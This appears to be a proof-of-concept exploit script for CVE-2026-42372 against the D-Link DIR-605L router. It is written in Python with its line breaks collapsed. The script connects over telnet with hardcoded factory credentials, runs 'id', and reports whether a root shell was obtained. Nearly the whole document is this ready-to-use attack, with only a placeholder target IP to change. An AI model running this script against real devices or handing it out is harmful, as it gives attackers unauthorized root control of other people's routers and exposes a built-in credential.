CVE-2026-42372

import telnetlib import sys # Exploit for CVE-2026-42372 # Target: D-Link DIR-605L (Rev A1) # Default IP: 192.168.0.1 def exploit_poc(ip): user = "Alphanetworks" password = "wrgn35_dlwbr_dir605l" port = 23 try: print(f"[*] Connecting to {ip} on port {port}...") tn = telnetlib.Telnet(ip, port, timeout=10) # The device uses a custom login mechanism, but usually presents a login prompt tn.read_until(b"login: ") tn.write(user.encode('ascii') + b"\n") tn.read_until(b"Password: ") tn.write(password.encode('ascii') + b"\n") # Check if we have a shell (root) tn.write(b"id\n") response = tn.read_until(b"#", timeout=5).decode('ascii') if "uid=0(root)" in response or "#" in response: print("[+] Exploit successful! Root shell obtained.") print("[+] Response from id command:") print(response) else: print("[-] Exploit failed. Credentials might be incorrect or service unavailable.") print(response) tn.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_ip = "192.168.0.1" # Replace with actual target IP exploit_poc(target_ip)

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